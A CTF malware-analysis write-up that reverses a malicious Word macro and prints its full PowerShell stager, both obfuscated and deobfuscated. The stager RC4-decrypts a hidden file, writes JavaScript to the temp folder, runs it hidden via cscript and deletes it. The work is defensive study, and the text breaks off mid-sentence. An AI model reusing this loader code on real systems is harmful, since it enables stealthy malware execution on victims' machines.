Malware Reversing: A Malicious Word document

Table of Contents

This was a challenge from GroupIB CTF.

Static analysis

We were given a zip: File. First unzip the file, the password is infected. Unzipping the file, there is a Word document. Throwing it into VirusTotal: VirusTotal result

Analyzing output of oleid: oleid

There exists a VBA Macro script in the file. I failed to extract the VBA using olevba (it outputs the whole pdf embedded in the docs for some reasons). Moving on to dynamic analysis now.

Dynamic Analysis

Turn on Process Monitoring then view the doc file in Word. There is a Powershell process spawned from the WINWORD.EXE. It is trying to decode a base64 payload then execute it.

alt text

powershell.exe -Command "iex([syStEM.tEXt.ENCOdING]::UtF8.gETstriNg([SYsTeM.COnvERt]:: froMBase64StRing('MALWARE PAYLOAD')));exit"

Base64-decoded version of the malware:

$Yn0bWHiVBg6LTzSLvO5VyjFd8RoXvt6e7DILgQ5iLWs3SsNUWMdm2VrfjsTrQrxYVLkZAVK42ydYO0LQDgRAV0NDM7Jn1ELdaHBwu3Ti0URmtzFEEpV6VK7aRmvuBm9RiYVzD2XicaC4H78BpWzWwwBwyjLxtFqOIKymMatkYCWZaJ1Qfh264N5hLc61n77N0QY8QZhj7VZ0ePnfG9RCj6x6xQ7p4LR5DtaVK7pT0LVi72BvEg6Vuazq7JoYScRQQqwhKU0Ze9OMkZt8edSepAyYpJ1Olqrz1VT6yZunp2cpaMsn7LABFA81c6kQ4MEKqbwlbIfjDAbMFFZa4yYnWtx8vy8nJ9QLk2jIOfIjK1neZ5zqNpMYJ8ouF7aq1AwbSNgdGu1tdRxgP3xBvVQ1xxk6FMwnN7R6zPuvq8LTibSdE9Copr1AxJ5oPhLREc8pkef9wFsLx6VMzwxAafKqRlcLHc5t777FFVOmw0Z7Tq0kxVzzKMAtDpw3IrYtpXLCDciFXvdgamUqqnCf6igOUacVs4HEvCB9HmiwplnJlEUlk7jfpPFrSuhq9cbRQQNNl1VEpJIZY3zUyMvsOGYt66ICSx8QYnBkDFp1ewzyHF5IbC5YysPPV1qCbprYfEv1bZ2zDOTgtmNI8H4WdEEvqf6TYpow5P33ztTc4dgX3fm63U8qqOJ0vhfittA9hUEXKIpv0ajGgDZQAEQis4Z19UzhPip69rNal2LkxTrN5Jr0Yt2XDK2c1jzNJzvS13OUvT8pXdU4vPiZVdiN6UN2lJPc6XIx2UDpSQdMBVGiY00ePBKeZnAbHQauEXwVASrmF6VwREaa1986oTbbdFQXJW0uZ = "Ge"

$Ffu9ntkd4V4syJ6OD3xJXzEvafkYSo6GBgWyXZ2oRNfOVJbEBOx7bp8t8pzVChedtf2VhQdsjZwlywwcIc7PFEYTWsWDjVcl8olw0iBnnoj4YXBffT33za33T7jQCmVw8Rwpu2M61TQd5F4FnSZZHmaHzkPFjvz3m4VxBPzpfXuO53ZXsSkmuahxJGQ1D2swjIx0id3UYHozmakKRe1NUFKVdVJxyd8JZ4Th8wq94BA47R6Z8RgfZJA8VOutg9DJMIgRdJJMM1ryJ1y9wT5JZ8wh2mHWGT99FYxkADsXqiGRo1k6wP4QXCKGZbMAuzAfQnyY7zcW5QrCNEY0Vymk6tu1jSmKSbZYwJhspaL2rlcjQVTNAmMzsD9IQUCBwv9vRab10uSLgxv8erNd4JsQLXyu6Q0zsLn3g8A53d6qOi8TIsZarjooxznrxUx6xqyEGeIZPDTugcws2lWIgH7R7hcCzlpkge69eSDfTbdeNF4ap4JMgYwo7kMqffVi7dl0d7LjIHtFwulCuOkPLRJz11S7QepsfnAKJWEQul9m2ae2DUc5bbwf0dFBtXQ4z6Ew37xzRpoqLg7vUHwWFcPSzINAsuQs90SgiXAVITkAUXPe47eQ9dki77pbZLCxpVT4TmunHNx7L0asiw6Tr2koJ4TiwhLWuhNUZNNXeVcyylwtFxwvdnDuJu8jgUDQAuTX7DIIjQwtl9ywwJ2pM2JVDspeqDwsA5HLo0YEklMPJMsM9A6QHi56I3B5VWUAjD = "tByte"

$jwkL4IgQeAGhVxs4qqK05uE7nFJOsE2mg9wyFKwjkz5a2pyfSINcxwUnBGJM0VB92Q27wiAkyY2ZXTWVKwyt6tb42D48ULPjIn5xyAvqeBqicwE9us5XK2YdiBBSvZmdLhB2G5waGMVeJ1YDwD1bMEEpeHVzoVdKMWR4vNQlILUNWozzmIxZ0SYEQsrbJGDPADMUOZ31OJXWzAbhHZtItEAV0O7OMt5GwS0QSmkeOtRtjnhSIMf71jRpejYQEJAYW2BW22TN6NURxTQQbrPXc3IT5ZPj0LlDIDOwIeS4sN6rC1xgZD8iXpxgA4KJxipkLOLgfs8fQX0ZQOVkKwvD3qCzHqQXoB7nokZMw5DJzPEmnqi1biLIMILA7Tv1ejKiqJcQXkBxWV5wDV6JnGy2nFFwUj0wQOIxZzDG7fBx4T1u0MSN09lAW4a5ZxpJtSqm9cBZJIUqQIeQJO5TcXaZo0AbJ6BJaQa5QmhZyjRj6XpGQ1n7mFH7ZNFobt5JVZ9Ue9LwWkbzg5NGAnI8RJRB9ta5zX5JmOoNPLUHW5U8LNgKPHPhy2AUKx3RPTnoa5oVbpIU5l5KDp3E50wleYHK3vXOTZ5KGB5eEcqnMN8iCEVYK77FrPFtSr9kBiYx4JKEt8WV782trXgXywHmtiQOVYRxDjE9Gth98HwE8o4kwQEpW36k8iv0BfvAqowFOsVKNOUXwjPVaSaW3NmnCQCwQsV79ss3Lv6lHPHEFpEpR82hTDZqMBVAFokTakbM9jowUAA0uQkLEVfmtMRUd6h2KhNqlJn2kj3Y5HrnEN6N3xUgfswGLwKQlmLV1B6bMkBjrhtzpzJaCEqZXqu5dkahCyl7bVj8syysKlQ3wAkmCJEFMj7t58DPMei5ngV2vwfFagsmKUFKFmGmAhBoFi0lufjEThQHEXXvAEgmyoiM5Duu4RDKpWRaK1jKBJAKlzQeq52kEeLx5XdP8d2AAmnc3ePbRniuoPjhbrNN9PBM = "s"

$kghj3kCRqabNistCQgl7UP2Pdrg4cdoYim7gsRRwb8HF8XQN19jHpGGEtbHfQNaQxBbZrGOzsrSXh0z5vmHrcRTH9DBG1S1eC3ZJamrI8JeaQIDTNcK0nWJpUMdFAk6lIV3YXf2BOC98IEjhXYlUqiqzMzKbZsKPQhwvU5Jo7yyIaB4VoQH3gvsmllT1drH9Tk4VknoIwbTeCjsaM30irgyA8kjIoqpL9T6j3dN58t4pHI6oTpcCQ4BbQa9b5qm3RYIkmPlBdDp2ZjTgPbonO3xfqqUSBRrnlbMXwcHh0n83mR2dd5ENYltoO8vlJAN5PboH7zhJyjrU1H8x4GpRK9Fs6Ud2bB9Eyekx7RvVWJWQJEI2a3D4dl7pufAEINkuA6f6SGFobKAbODjZYEI9ulu83BcYTalEU34FDUu5VdcQpkC1vrBFBGHjuGuqrcs02NxbLgOkH9f4go9YtNqQoRtxOhCSarPSuwPFsfa6UvOJ8FHEAiFA6QDaUufnfz765blKu9ah2aq9SJzVmlqW3Tv5CypbLY33rJx3oqlWmY9C8dg9L5Zaz6Kcqz91uHT6r26YznS9HTekYZ94wjqs2wuVwmdgooP5xbsA6tY3Ty3G9wJVceBHoZYK9olLX0eoZOGdRp5BsfJIYQhZglX0dbW5UVser5VJ0cFGMf8q26WS4H3kUVKKvQP7TTw4nC1MAjBNlUrjWG2AmlNIzCtnsMFnd5qHLiKc9vRkxOOBxzbRI5iHlZfVVFvzEeVGTu1yN7Zy3yZASTaT650ZAdojKGFxcrLsZXx85RcGZTg2Kw92AoOnwjFOeYE0XsPXrbklc7hZHvTrlJD2HftSCobVBDqvm1vEyoJUsRTMSG5RefXhoK7jCP6Zefc7C = ($Yn0bWHiVBg6LTzSLvO5VyjFd8RoXvt6e7DILgQ5iLWs3SsNUWMdm2VrfjsTrQrxYVLkZAVK42ydYO0LQDgRAV0NDM7Jn1ELdaHBwu3Ti0URmtzFEEpV6VK7aRmvuBm9RiYVzD2XicaC4H78BpWzWwwBwyjLxtFqOIKymMatkYCWZaJ1Qfh264N5hLc61n77N0QY8QZhj7VZ0ePnfG9RCj6x6xQ7p4LR5DtaVK7pT0LVi72BvEg6Vuazq7JoYScRQQqwhKU0Ze9OMkZt8edSepAyYpJ1Olqrz1VT6yZunp2cpaMsn7LABFA81c6kQ4MEKqbwlbIfjDAbMFFZa4yYnWtx8vy8nJ9QLk2jIOfIjK1neZ5zqNpMYJ8ouF7aq1AwbSNgdGu1tdRxgP3xBvVQ1xxk6FMwnN7R6zPuvq8LTibSdE9Copr1AxJ5oPhLREc8pkef9wFsLx6VMzwxAafKqRlcLHc5t777FFVOmw0Z7Tq0kxVzzKMAtDpw3IrYtpXLCDciFXvdgamUqqnCf6igOUacVs4HEvCB9HmiwplnJlEUlk7jfpPFrSuhq9cbRQQNNl1VEpJIZY3zUyMvsOGYt66ICSx8QYnBkDFp1ewzyHF5IbC5YysPPV1qCbprYfEv1bZ2zDOTgtmNI8H4WdEEvqf6TYpow5P33ztTc4dgX3fm63U8qqOJ0vhfittA9hUEXKIpv0ajGgDZQAEQis4Z19UzhPip69rNal2LkxTrN5Jr0Yt2XDK2c1jzNJzvS13OUvT8pXdU4vPiZVdiN6UN2lJPc6XIx2UDpSQdMBVGiY00ePBKeZnAbHQauEXwVASrmF6VwREaa1986oTbbdFQXJW0uZ + $Ffu9ntkd4V4syJ6OD3xJXzEvafkYSo6GBgWyXZ2oRNfOVJbEBOx7bp8t8pzVChedtf2VhQdsjZwlywwcIc7PFEYTWsWDjVcl8olw0iBnnoj4YXBffT33za33T7jQCmVw8Rwpu2M61TQd5F4FnSZZHmaHzkPFjvz3m4VxBPzpfXuO53ZXsSkmuahxJGQ1D2swjIx0id3UYHozmakKRe1NUFKVdVJxyd8JZ4Th8wq94BA47R6Z8RgfZJA8VOutg9DJMIgRdJJMM1ryJ1y9wT5JZ8wh2mHWGT99FYxkADsXqiGRo1k6wP4QXCKGZbMAuzAfQnyY7zcW5QrCNEY0Vymk6tu1jSmKSbZYwJhspaL2rlcjQVTNAmMzsD9IQUCBwv9vRab10uSLgxv8erNd4JsQLXyu6Q0zsLn3g8A53d6qOi8TIsZarjooxznrxUx6xqyEGeIZPDTugcws2lWIgH7R7hcCzlpkge69eSDfTbdeNF4ap4JMgYwo7kMqffVi7dl0d7LjIHtFwulCuOkPLRJz11S7QepsfnAKJWEQul9m2ae2DUc5bbwf0dFBtXQ4z6Ew37xzRpoqLg7vUHwWFcPSzINAsuQs90SgiXAVITkAUXPe47eQ9dki77pbZLCxpVT4TmunHNx7L0asiw6Tr2koJ4TiwhLWuhNUZNNXeVcyylwtFxwvdnDuJu8jgUDQAuTX7DIIjQwtl9ywwJ2pM2JVDspeqDwsA5HLo0YEklMPJMsM9A6QHi56I3B5VWUAjD + $jwkL4IgQeAGhVxs4qqK05uE7nFJOsE2mg9wyFKwjkz5a2pyfSINcxwUnBGJM0VB92Q27wiAkyY2ZXTWVKwyt6tb42D48ULPjIn5xyAvqeBqicwE9us5XK2YdiBBSvZmdLhB2G5waGMVeJ1YDwD1bMEEpeHVzoVdKMWR4vNQlILUNWozzmIxZ0SYEQsrbJGDPADMUOZ31OJXWzAbhHZtItEAV0O7OMt5GwS0QSmkeOtRtjnhSIMf71jRpejYQEJAYW2BW22TN6NURxTQQbrPXc3IT5ZPj0LlDIDOwIeS4sN6rC1xgZD8iXpxgA4KJxipkLOLgfs8fQX0ZQOVkKwvD3qCzHqQXoB7nokZMw5DJzPEmnqi1biLIMILA7Tv1ejKiqJcQXkBxWV5wDV6JnGy2nFFwUj0wQOIxZzDG7fBx4T1u0MSN09lAW4a5ZxpJtSqm9cBZJIUqQIeQJO5TcXaZo0AbJ6BJaQa5QmhZyjRj6XpGQ1n7mFH7ZNFobt5JVZ9Ue9LwWkbzg5NGAnI8RJRB9ta5zX5JmOoNPLUHW5U8LNgKPHPhy2AUKx3RPTnoa5oVbpIU5l5KDp3E50wleYHK3vXOTZ5KGB5eEcqnMN8iCEVYK77FrPFtSr9kBiYx4JKEt8WV782trXgXywHmtiQOVYRxDjE9Gth98HwE8o4kwQEpW36k8iv0BfvAqowFOsVKNOUXwjPVaSaW3NmnCQCwQsV79ss3Lv6lHPHEFpEpR82hTDZqMBVAFokTakbM9jowUAA0uQkLEVfmtMRUd6h2KhNqlJn2kj3Y5HrnEN6N3xUgfswGLwKQlmLV1B6bMkBjrhtzpzJaCEqZXqu5dkahCyl7bVj8syysKlQ3wAkmCJEFMj7t58DPMei5ngV2vwfFagsmKUFKFmGmAhBoFi0lufjEThQHEXXvAEgmyoiM5Duu4RDKpWRaK1jKBJAKlzQeq52kEeLx5XdP8d2AAmnc3ePbRniuoPjhbrNN9PBM)
$fILEPaTH = "$EnV:PROGRAMDATA\CVR49A6.tmp.cvr"
$ENvvaRnamE = "PROCESSOR_ARCHITECTURE"
        
function UuZzxhNfzzykTVtsxxxYhNlHzaPpKKIbWqLloFdOT {
    param([Byte[]]$kEy, [Byte[]]$Data)
         $S = 0..255
      $j = 0
  for ($I = 0; $I -lt 256; $I++) {
         $j = ($j + $S[$I] + $kEy[$I % $kEy.Length]) % 256
 $S[$I], $S[$j] = $S[$j], $S[$I]
       }
$I = $j = 0
for ($N = 0; $N -lt $Data.Length; $N++) {
         $I = ($I + 1) % 256
    $j = ($j + $S[$I]) % 256
  $S[$I], $S[$j] = $S[$j], $S[$I]
      $k = $S[($S[$I] + $S[$j]) % 256]
$Data[$N] = $Data[$N] -bxor $k
    }
   return $Data
}
   
$key = [sySTEM.eNvIROnmENt]::GetEnvironmentVariable($ENvvaRnamE)
if (-not $key) { exit 1 }
$kEybYtEs = [SYSTEM.Text.eNcoDINg]::UTF8.$kghj3kCRqabNistCQgl7UP2Pdrg4cdoYim7gsRRwb8HF8XQN19jHpGGEtbHfQNaQxBbZrGOzsrSXh0z5vmHrcRTH9DBG1S1eC3ZJamrI8JeaQIDTNcK0nWJpUMdFAk6lIV3YXf2BOC98IEjhXYlUqiqzMzKbZsKPQhwvU5Jo7yyIaB4VoQH3gvsmllT1drH9Tk4VknoIwbTeCjsaM30irgyA8kjIoqpL9T6j3dN58t4pHI6oTpcCQ4BbQa9b5qm3RYIkmPlBdDp2ZjTgPbonO3xfqqUSBRrnlbMXwcHh0n83mR2dd5ENYltoO8vlJAN5PboH7zhJyjrU1H8x4GpRK9Fs6Ud2bB9Eyekx7RvVWJWQJEI2a3D4dl7pufAEINkuA6f6SGFobKAbODjZYEI9ulu83BcYTalEU34FDUu5VdcQpkC1vrBFBGHjuGuqrcs02NxbLgOkH9f4go9YtNqQoRtxOhCSarPSuwPFsfa6UvOJ8FHEAiFA6QDaUufnfz765blKu9ah2aq9SJzVmlqW3Tv5CypbLY33rJx3oqlWmY9C8dg9L5Zaz6Kcqz91uHT6r26YznS9HTekYZ94wjqs2wuVwmdgooP5xbsA6tY3Ty3G9wJVceBHoZYK9olLX0eoZOGdRp5BsfJIYQhZglX0dbW5UVser5VJ0cFGMf8q26WS4H3kUVKKvQP7TTw4nC1MAjBNlUrjWG2AmlNIzCtnsMFnd5qHLiKc9vRkxOOBxzbRI5iHlZfVVFvzEeVGTu1yN7Zy3yZASTaT650ZAdojKGFxcrLsZXx85RcGZTg2Kw92AoOnwjFOeYE0XsPXrbklc7hZHvTrlJD2HftSCobVBDqvm1vEyoJUsRTMSG5RefXhoK7jCP6Zefc7C($key)
if (-not (Test-Path -Path $fILEPaTH)) { exit 1 }
$bASe64dATA = Get-Content -Path $fILEPaTH -Raw
try { $DECoDEddaTa = [System.CONVert]::FromBase64String($bASe64dATA) } catch { exit 1 }
try { $DEcrYPTEddAta = UuZzxhNfzzykTVtsxxxYhNlHzaPpKKIbWqLloFdOT -Key $kEybYtEs -Data $DECoDEddaTa } catch { exit 1 }
         
try {
    $MEMORYstreAM = New-Object System.IO.MemoryStream
        $MEMORYstreAM.Write($DEcrYPTEddAta, 0, $DEcrYPTEddAta.Length)
        $MEMORYstreAM.Position = 0
      $GzipstreAm = New-Object SystEM.iO.CoMprEsSIon.GZIpsTrEaM($MEMORYstreAM, [syStEM.io.compREssIOn.coMpRessiONmODE]::Decompress)
$outpUTStreAm = New-Object System.IO.MemoryStream
         $GzipstreAm.CopyTo($outpUTStreAm)
$DECOmPReSsEDDATa = $outpUTStreAm.ToArray()
         $GzipstreAm.Close()
$MEMORYstreAM.Close()
} catch { exit 1 }
  
$TempDIr = [sYSTem.IO.PaTh]::GetTempPath()
$temPFIle = Join-Path -Path $TempDIr -ChildPath "$([sySTEm.GuId]::NewGuid()).js"

$D = [SYSTEM.Text.eNcoDINg]::UTF8.GetString($DECOmPReSsEDDATa)
Set-Content -Path $temPFIle -Value $D
      
Start-Process -FilePath "cscript.exe" -ArgumentList $temPFIle -WindowStyle Hidden 
        
Start-Sleep -Seconds 10
   
Remove-Item -Path $temPFIle -Force

Throw it into Copilot so it will deobfuscate and clean the whole thing for us:

# Define variables with decoded values
$part1 = "Get"
$part2 = "tByte"
$part3 = "s"
$combinedKey = $part1 + $part2 + $part3

# Define the file path and environment variable name
$filePath = "$Env:PROGRAMDATA\CVR49A6.tmp.cvr"
$envVarName = "PROCESSOR_ARCHITECTURE"

# Function to decrypt data using RC4 algorithm
function Decrypt-RC4 {
    param([Byte[]]$key, [Byte[]]$data)
    $S = 0..255
    $j = 0
    for ($i = 0; $i -lt 256; $i++) {
        $j = ($j + $S[$i] + $key[$i % $key.Length]) % 256
        $S[$i], $S[$j] = $S[$j], $S[$i]
    }
    $i = $j = 0
    for ($n = 0; $n -lt $data.Length; $n++) {
        $i = ($i + 1) % 256
        $j = ($j + $S[$i]) % 256
        $S[$i], $S[$j] = $S[$j], $S[$i]
        $k = $S[($S[$i] + $S[$j]) % 256]
        $data[$n] = $data[$n] -bxor $k
    }
    return $data
}

# Get the key from the environment variable
$key = [System.Environment]::GetEnvironmentVariable($envVarName)
if (-not $key) { exit 1 }
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)

# Check if the file exists
if (-not (Test-Path -Path $filePath)) { exit 1 }

# Read and decode the base64 data from the file
$base64Data = Get-Content -Path $filePath -Raw
try { 
    $decodedData = [System.Convert]::FromBase64String($base64Data) 
} catch { 
    exit 1 
}

# Decrypt the data
try { 
    $decryptedData = Decrypt-RC4 -Key $keyBytes -Data $decodedData 
} catch { 
    exit 1 
}

# Decompress the decrypted data
try {
    $memoryStream = New-Object System.IO.MemoryStream
    $memoryStream.Write($decryptedData, 0, $decryptedData.Length)
    $memoryStream.Position = 0
    $gzipStream = New-Object System.IO.Compression.GZipStream($memoryStream, [System.IO.Compression.CompressionMode]::Decompress)
    $outputStream = New-Object System.IO.MemoryStream
    $gzipStream.CopyTo($outputStream)
    $decompressedData = $outputStream.ToArray()
    $gzipStream.Close()
    $memoryStream.Close()
} catch { 
    exit 1 
}

# Create a temporary file and write the decompressed data to it
$tempDir = [System.IO.Path]::GetTempPath()
$tempFile = Join-Path -Path $tempDir -ChildPath "$([System.Guid]::NewGuid()).js"
$decompressedString = [System.Text.Encoding]::UTF8.GetString($decompressedData)
Set-Content -Path $tempFile -Value $decompressedString

# Execute the temporary file using cscript.exe
Start-Process -FilePath "cscript.exe" -ArgumentList $tempFile -WindowStyle Hidden 

# Wait for 10 seconds and then remove the temporary file
Start-Sleep -Seconds 10
Remove-Item -Path $tempFile -Force

The malware is taking data from C:\ProgramData\CVR49A6.tmp.cvr then RC4-decrypting -> store the file at tempDir -> executing the decrypted content with cscript.exe. One problem is that the key used for decrypting is the processor architecture the malware was built for. Mine was AMD64 and it wasn’t able to decrypt the thing. Try with ARM64 and it works. Comment the last 3 lines so the JS is not executed and deleted. The dropped JS file is obsfucated. Just throw it into ChatGPT, it will do the preliminary analysis for us, we can spot the RC4 encrypting function in the code and from there we can deobsfucate other functions: